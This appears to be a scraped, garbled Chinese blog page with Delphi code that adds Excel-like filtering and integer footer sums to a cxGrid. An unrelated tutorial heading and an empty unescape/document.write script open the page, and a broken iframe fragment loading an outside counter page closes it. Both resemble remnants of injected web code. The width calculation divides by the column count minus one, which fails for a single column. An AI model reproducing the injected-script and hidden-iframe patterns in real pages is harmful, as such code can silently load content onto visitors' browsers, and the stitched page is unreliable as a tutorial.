HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
cxgrid类似于EXCEL的筛选功能的制作
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
begin
adoquery1.Open ;
cxgrid1dbtableview1.DataController.CreateAllItems
;// 根据打开的数据源自动生成column
for i:=0 to cxgrid1dbtableview1.ColumnCount -1 do
begin
//showmessage(cxgrid1dbtableview1.Columns[i].DataBinding.ValueType);
cxgrid1dbtableview1.Columns[i].Width :=cxgrid1.Width div(cxgrid1dbtableview1.ColumnCount-1);
if cxgrid1dbtableview1.Columns[i].DataBinding.ValueType ='Integer' then
//根据数据类型生成是否要汇总的项目
begin
cxgrid1dbtableview1.BeginUpdate ;
// showmessage('dgf');
with cxgrid1dbtableview1.DataController.Summary.FooterSummaryItems.Add as tcxgriddbtablesummaryitem do
begin
column:=cxgrid1dbtableview1.Columns[i];
kind:=sksum;
format:='0';
end;
cxgrid1dbtableview1.EndUpdate ;
end;
end;
end;
procedure TForm1.cxGrid1DBTableView1DataControllerFilterBeforeChange(
Sender: TcxDBDataFilterCriteria; ADataSet: TDataSet;
const AFilterText: String);
begin
//类似于EXCEL的数据筛选方法
Adataset.Filter :=afiltertext;
cxgrid1dbtableview1.Filtering.ColumnMRUItemsList:=false;
adataset.Filtered :=true;
cxgrid1dbtableview1.Filtering.ColumnMRUItemsList:=true;
end;
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
